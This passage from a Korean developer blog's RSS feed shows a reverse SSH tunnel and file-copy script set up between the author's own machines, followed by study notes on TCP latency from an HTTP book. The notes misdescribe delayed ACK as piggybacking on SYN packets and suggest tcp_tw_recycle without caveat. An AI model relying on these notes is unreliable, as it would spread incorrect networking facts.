highlighter-rouge&quot;&gt;/etc/ssh/sshd_config&lt;/code&gt;&lt;/p&gt; &lt;div class=&quot;language-conf highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;AllowUsers&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testuser&lt;/span&gt;@&lt;span class=&quot;n&quot;&gt;localhost&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testuser&lt;/span&gt;@::&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testuser&lt;/span&gt;@&lt;span class=&quot;m&quot;&gt;127&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;sshconfig-설정-및-역방향-ssh-터널-설정&quot;&gt;.ssh/config 설정 및 역방향 SSH 터널 설정&lt;/h3&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.ssh/config&lt;/code&gt; 옵션을 수정한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host *&lt;/code&gt; 을 대상으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RemoteForward&lt;/code&gt; 옵션을 추가하였다. &lt;br /&gt; 여기에서는 포트를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5555&lt;/code&gt; 로 설정하였으나, 이는 사용자가 마음대로 변경할 수 있다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost:22&lt;/code&gt; 부분은 로컬에서 서비스 중인 SSH 서버의 포트를 적어야 한다.&lt;/p&gt; &lt;p&gt;마지막으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host rloc&lt;/code&gt; 설정을 추가한다. 이는 원격지에서 접속할 역방향 SSH 정보를 입력한 것이다. &lt;br /&gt; 따라서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rloc&lt;/code&gt; 설정은 원격지의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.ssh/config&lt;/code&gt; 파일을 수정하여 추가해야 한다.&lt;/p&gt; &lt;p&gt;이해를 돕기 위해, 전체 설정인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; 설정, 원격지 서버 별칭인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vm_server&lt;/code&gt; 설정과 역방향 SSH 설정인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rloc&lt;/code&gt; 설정을 추가하였다.&lt;/p&gt; &lt;div class=&quot;language-conf highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;Host&lt;/span&gt; * &lt;span class=&quot;n&quot;&gt;AddKeysToAgent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;yes&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;RemoteForward&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;5555&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;localhost&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;22&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Host&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vm_server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HostName&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;68&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testuser&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Port&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;22&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IdentityFile&lt;/span&gt; ~/.&lt;span class=&quot;n&quot;&gt;ssh&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;test_server_private_key&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Host&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rloc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HostName&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;127&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;testuser&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Port&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;5555&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IdentityFile&lt;/span&gt; ~/.&lt;span class=&quot;n&quot;&gt;ssh&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;ssh_private_key&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;ssh config 없이 ssh 명령어로 접속 시 역방향 SSH 터널을 추가하고 싶다면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-R&lt;/code&gt; 옵션을 사용하면 된다.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;ssh -R 5555:localhost:22 testuser@test.com &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;역방향-연결-테스트&quot;&gt;역방향 연결 테스트&lt;/h3&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# 원격지 서버에 접속 (.ssh/config의 server 별칭)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh vm_server &lt;span class=&quot;c&quot;&gt;# 원격지 서버에서 역방향 SSH 연결 테스트&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh rloc -&amp;gt; 접속 성공 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;스크린샷&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_ssh-tunnel.md_img/img_2024-08-28-15-31-49.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt; &lt;p&gt;빨간 사각형에서 보이는 것처럼 최초 MacOS 에서 리눅스 서버로 접속 시도 &lt;br /&gt; 파란 사각형에서 보이는 것처럼 서버에서 설정했던 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rloc&lt;/code&gt; 설정을 통해 다시 MacOS로 역방향 SSH 연결 성공&lt;/p&gt; &lt;h3 id=&quot;파일-전송-스크립트-작성&quot;&gt;파일 전송 스크립트 작성&lt;/h3&gt; &lt;p&gt;역방향 SSH 연결에 성공한 것을 확인하였다면, 이제 파일 전송 스크립트를 작성할 차례다.&lt;/p&gt; &lt;p&gt;필자에게 가장 필요한 것은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote&lt;/code&gt; 에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local&lt;/code&gt;로 파일을 복사하는 것이었다. &lt;br /&gt; (원격지 장비에서 tcpdump 등으로 캡쳐한 패킷 파일을 로컬로 가져와야 하는 경우 등)&lt;/p&gt; &lt;p&gt;따라서 현재는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remote -&amp;gt; local&lt;/code&gt; 스크립트만 작성한 상태이다.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/iblea/.dotfiles/blob/main/.bin/jcp&quot;&gt;https://github.com/iblea/.dotfiles/blob/main/.bin/jcp&lt;/a&gt;&lt;/p&gt; &lt;p&gt;위 링크의 내용을 복사하거나, 다운로드하여 (파일 이름 : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp&lt;/code&gt;) &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export $PATH&lt;/code&gt; 환경변수가 설정되어 있는 경로 중 아무곳이나 넣고, 실행 권한을 부여한다. &lt;br /&gt; (또는 해당 파일이 있는 경로를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$PATH&lt;/code&gt;에 추가하면 된다.)&lt;/p&gt; &lt;p&gt;설정에 따라 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R_MACRO&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R_CONFIG&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R_DEFAULT_DOWNLOAD_PATH&lt;/code&gt; 변수 값을 수정한다.&lt;/p&gt; &lt;p&gt;특히 리눅스 유저나 윈도우즈 유저의 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R_DEFAULT_DOWNLOAD_PATH&lt;/code&gt; 값을 수정해야 한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# .ssh/config의 remote -&amp;gt; local 설정한 별칭&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# (위 블로그에 설정한 대로 .ssh/config의 별칭을 rloc으로 설정했다면 변경 불필요 )&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;R_MACRO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;rloc&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# rloc 별칭이 설정된 .ssh/config 파일 경로&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;R_CONFIG&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$HOME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/.ssh/config&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 다운로드될 로컬의 기본 경로를 입력하지 않을 경우 본 설정값의 경로에 저장됨&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# &amp;lt;username&amp;gt; 설정 시 config 파일의 rloc username으로 바뀜&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# MacOS의 경우 본 설정 그대로 적용 시, 경로를 따로 입력하지 않을 경우 다운로드 디렉토리에 저장됨.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# Windows, Linux의 경우 본 설정값을 수정하여 사용하여야 함.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;R_DEFAULT_DOWNLOAD_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/Users/&amp;lt;username&amp;gt;/Downloads&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이제부터, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp&lt;/code&gt; 명령어를 “딸깍” 하는 것으로 파일을 복사할 수 있다. &lt;br /&gt; 남들이 sftp, MobaXTerm으로 파일을 복사할 때, 나는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp&lt;/code&gt; 명령어로 손쉽게 복사할 수 있는 것이다!&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp&lt;/code&gt; 명령은 아래와 같이 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# 원격지의 파일 1개를 로컬의 $R_DEFAULT_DOWNLOAD_PATH 경로에 저장&lt;/span&gt; jcp &amp;lt;file&amp;gt; &lt;span class=&quot;c&quot;&gt;# 원격지의 파일 3개를 로컬의 $R_DEFAULT_DOWNLOAD_PATH 경로에 저장&lt;/span&gt; jcp &amp;lt;file1&amp;gt; &amp;lt;file2&amp;gt; &amp;lt;file3&amp;gt; &lt;span class=&quot;c&quot;&gt;# 원격지의 파일 2개를 로컬의 /var/log에 저장&lt;/span&gt; jcp &amp;lt;file1&amp;gt; &amp;lt;file2&amp;gt; &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt; /var/log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;아래 스크린샷은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp&lt;/code&gt; 명령어를 통해 원격지의 파일을 로컬로 복사한 것이다.&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_ssh-tunnel.md_img/img_2024-08-28-15-45-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcpdump&lt;/code&gt;로 원격지에서 캡쳐한 패킷 파일을 로컬로 복사하는 과정이다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jcp server_packet.pcap&lt;/code&gt; 명령어를 통해 원격지의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server_packet.pcap&lt;/code&gt; 파일을 로컬로 복사하였다.&lt;/p&gt; </description><pubDate>Thu, 29 Aug 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/ssh-tunnel</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/ssh-tunnel</guid> <category>ssh</category> <category>tunnel</category> <category>lrzsz</category> <category>zmodem</category> <category>bash</category> <category>linux</category> </item> <item><title>HTTP 완벽 가이드</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#http-완벽-가이드-책-리뷰&quot;&gt;HTTP 완벽 가이드 책 리뷰&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#telnet으로-http-통신하기&quot;&gt;telnet으로 HTTP 통신하기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#tcp-커넥션으로-인한-지연&quot;&gt;TCP 커넥션으로 인한 지연&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#책-짤막-회고&quot;&gt;책 짤막 회고&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;http-완벽-가이드-책-리뷰&quot;&gt;HTTP 완벽 가이드 책 리뷰&lt;/h1&gt; &lt;h1 id=&quot;telnet으로-http-통신하기&quot;&gt;telnet으로 HTTP 통신하기&lt;/h1&gt; &lt;p&gt;telnet 프로토콜 및 여러가지 CLI 툴로 HTTP Raw Request 하는 방법 정리 &lt;br /&gt; &lt;a href=&quot;https://dev.iasdf.com/wiki/linux/http_cli&quot;&gt;https://dev.iasdf.com/wiki/linux/http_cli&lt;/a&gt;&lt;/p&gt; &lt;h1 id=&quot;tcp-커넥션으로-인한-지연&quot;&gt;TCP 커넥션으로 인한 지연&lt;/h1&gt; &lt;p&gt;나는 HTTP의 연결을 끊지 않고 유지하는 이유가 &lt;br /&gt; 연결을 끊었다 다시 요청할 경우, 3-way/4-way handshake 인해 주로 발생하는 것이라고 생각했다.&lt;/p&gt; &lt;p&gt;그러나 약 1970년부터 연구되어 1983년에 개발된 글을 적고 있는 현재 기준으로 약 40년의 역사를 지닌 고인물 프로토콜 답게 TCP 프로토콜은 신뢰성 확보를 위해 내부적으로 여러가지 알고리즘이 도입되어 있는데, 이러한 알고리즘에 의해서도 지연이 발생하는 것을 알게 되었다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;delayed ack (확인 응답 지연) &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://www.ktword.co.kr/test/view/view.php?no=3242&quot;&gt;http://www.ktword.co.kr/test/view/view.php?no=3242&lt;/a&gt;&lt;/li&gt; &lt;li&gt;TCP의 경우 신뢰성 확보를 위해 ACK 패킷을 전송해야 함. 즉 아래와 같은 통신이 사용됨 &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; C S | SYN -&amp;gt; | | &amp;lt;- ACK | | &amp;lt;- SYN | | ACK -&amp;gt; | &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;ACK 패킷만 바로 보내게 되면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ACK&lt;/code&gt; 패킷을 보내기 위한 TCP 헤더 등을 추가로 송신해야 하며, ACK 패킷을 따로 보내게 될 경우 오버헤드가 발생할 수 있음.&lt;/li&gt; &lt;li&gt;SYN 패킷을 받았을 때, ACK 패킷을 바로 전송하는 것이 아닌, 0.1초 혹은 그 이상의 대기시간을 주어 서버의 SYN 요청과 ACK 패킷을 함께 보내면 부하를 줄일 수 있음. (piggy-back 방식) &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; C S | SYN -&amp;gt; | | &amp;lt;- ACK/SYN | | ACK -&amp;gt; | &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;안타깝게도, 요청과 응답, 딱 두가지의 통신 방식만 있는 HTTP는 이러한 ACK 패킷이 다음 SYN 패킷에 편승할 기회를 감소시킴.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;slow start &lt;ul&gt; &lt;li&gt;클라이언트 또는 서버의 네트워크 상태를 모르니, 혼잡이 발생하지 않도록 커넥션이 처음 발생했을 때 패킷을 전송하는 양을 제한하고, 이를 천천히 늘려나가며 네트워크 혼잡을 제어함.&lt;/li&gt; &lt;li&gt;이를 TCP 혼잡 제어라고 하는데, 이 때문에 TCP의 커넥션이 막 연결될 당시에는, 혼잡 제어 알고리즘으로 인해 이미 연결된 알고리즘에 비해 속도 저하가 발생함.&lt;/li&gt; &lt;li&gt;즉, HTTP의 커넥션을 유지하지 않으면, 새로운 요청을 진행할 때메다 tcp 커넥션을 연결하고 끊기 때문에, slow start로 인해 지연이 발생할 수 있음.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;Nagle(네이글) 알고리즘과 TCP_NODELAY &lt;ul&gt; &lt;li&gt;매우 작은 데이터를 보내야 하는 경우, (예를 들어 1~10byte 정도) Data의 내용보다 이 내용을 보내기 위한 TCP 헤더의 정보가 더 크다.&lt;/li&gt; &lt;li&gt;따라서 이러한 작은 패킷들을 모아, 묶어서, 전체 크기의 세그먼트를 전송할 수 있을 때까지 패킷의 전송을 지연시킬 수 있음. &lt;ul&gt; &lt;li&gt;MTU(Maximum Transmission Unit) 사이즈는 일반적으로 1500 byte 이므로, MSS(Maximum Segment Size)는 TCP 헤더와 IP 헤더의 길이를 제외한 1460 byte 이다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;네이글 알고리즘은 delayed ack와 함께 쓰일 경우 문제를 발생시킨다. &lt;ul&gt; &lt;li&gt;delayed ack는 확인 응답을 100~200 밀리초 지연시키는데, 네이글 알고리즘은 확인 응답이 도착할 때 까지 데이터 전송을 멈추기 때문에 서로 상반되는 제약조건을 가지고 있다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;또한 네이글 알고리즘은 MSS 사이즈의 패킷을 채우지 못하는 크기가 작은 HTTP 메시지의 경우, 앞으로 생길지 알 수 없는 추가적인 데이터를 기다리며 지연시킬 것이다.&lt;/p&gt; &lt;/li&gt; &lt;li&gt;따라서 HTTP 어플리케이션은 성능 향상을 위해 TCP_NODELAY 옵션을 주어, 네이글 알고리즘을 비활성화 하기도 한다. &lt;ul&gt; &lt;li&gt;이 설정을 진행했다면 작은 크기의 패킷이 많이 생기지 않도록 큰 크기의 데이터를 만들어야 한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;TIME-WAIT 누적, 포트 고갈 &lt;ul&gt; &lt;li&gt;TCP는 4way handshake 이후에도 연결을 바로 종료하는 것이 아니라, TIME_WAIT을 통해 잠시 대기 상태에 들어간다.&lt;/li&gt; &lt;li&gt;A가 FIN을 보내고 B가 ACK, FIN을 보낸 뒤, A가 ACK를 보내고, A 또한 연결을 바로 끊는 것이 아니라 TIME_WAIT 상태에 진입한다. &lt;ul&gt; &lt;li&gt;이유인 즉, 혹시 마지막에 B에게 보낸 ACK 메시지가 도착하지 않았을 경우, B는 A에게 다시 FIN/ACK 메시지를 보내게 된다.&lt;/li&gt; &lt;li&gt;A는 TIME-WAIT 상태에서 기다리다가 FIN/ACK 메시지를 받게 되면 TIME-WAIT 상태에서 빠져나와 B에게 다시 ACK 메시지를 보내고, 다시 TIME-WIAT 상태로 돌입한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;즉, 먼저 연결 종료를 요청할 경우 TIME-WAIT 상태에 들어간다.&lt;/li&gt; &lt;li&gt;마지막 ACK 패킷이 전송되었는지를 확인하기 위해 거치는 작업. (혹시 모를 전송 실패에 대비하기 위해 TIME-WAIT이 존재)&lt;/li&gt; &lt;li&gt;TIME WAIT이 설명된 문서 : &lt;a href=&quot;https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux&quot;&gt;https://vincent.bernat.ch/en/blog/2014-tcp-time-wait-state-linux&lt;/a&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; A B | FIN -&amp;gt; | | &amp;lt;- ACK | | &amp;lt;- FIN | | ACK -&amp;gt; | |(TIME-WAIT) | (소켓 소멸) |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(TIME-WAIT) | |(소켓 소멸) | &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;어느 쪽에서 FIN 패킷을 먼저 보내는가에 따라 발생 케이스가 달라질 수 있다.&lt;/li&gt; &lt;li&gt;TIME WAIT 과 포트 고갈로 인한 문제 발생 사례 : &lt;a href=&quot;https://tech.kakao.com/2016/04/21/closewait-timewait/&quot;&gt;https://tech.kakao.com/2016/04/21/closewait-timewait/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;일반적인 상황에서는 발생하지 않을 가능성이 크나, 성능측정과 같이 제한적인 컴퓨터 대수로 많은 요청을 진행할 경우, TIME_WAIT 의 누적과 포트 고갈로 인해 문제가 발생할 수 있음.&lt;/li&gt; &lt;li&gt;이러한 문제를 해결하기 위해 TIME WAIT 상태의 소켓을 재사용하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net.ipv4.tcp_tw_reuse&lt;/code&gt; 옵션 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net.ipv4.tcp_tw_recycle&lt;/code&gt; 옵션을 사용할 수 있다.&lt;/li&gt; &lt;li&gt;물론 이 외에도, 많은 양의 커넥션을 맺어두거나 대기 상태로 있는 제어 블록이 많아지는 상황은 조심해야 함.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;책-짤막-회고&quot;&gt;책 짤막 회고&lt;/h2&gt; &lt;p&gt;HTTP의 기반 통신이 되는 TCP 커넥션을 위주로 살펴보았다. 인상적이었던 부분은 telnet을 응용하여 HTTP RAW Request를 보내는 방법을 실습해보았고, 이를 통해 실제 HTTP RAW Packet을 보다 직접적으로 보내 보다 쉬운 이슈 재현 환경을 만들 수 있었다. 웹서버의 성능을 높이고 부하분산, 보안을 위해 프록시, 캐시서버, 게이트웨이, 터널 등 여러가지 방법을 사용할 수 있다는 것을 다시금 확인할 수 있었다.&lt;/p&gt; &lt;p&gt;책이 옛날에 쓰여진 책이라서 현재의 HTTP 프로토콜과 달라진 점을 비교, 조사해가며 읽었다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;HTTPS의 과거 SSL과 현재 TLS의 차이&lt;/li&gt; &lt;li&gt;HTTP/1.1과 이를 보완한 HTTP/2, UDP 기반의 QUIC (HTTP/3) 프로토콜을 살펴보며, HTTP의 발전사를 다시금 공부하였다.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;HTTP와 TCP의 프로토콜에 대해, 그리고 네트워크 트래픽이 어떻게 흐르는지 이해하고 복습하는데 도움이 되었다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;리다이렉트를 통한 부하분산 처리&lt;/li&gt; &lt;li&gt;정적 페이지와 리소스를 캐싱하여 성능을 향상시키는 방법 &lt;ul&gt; &lt;li&gt;캐시의 동작과 만료에 대한 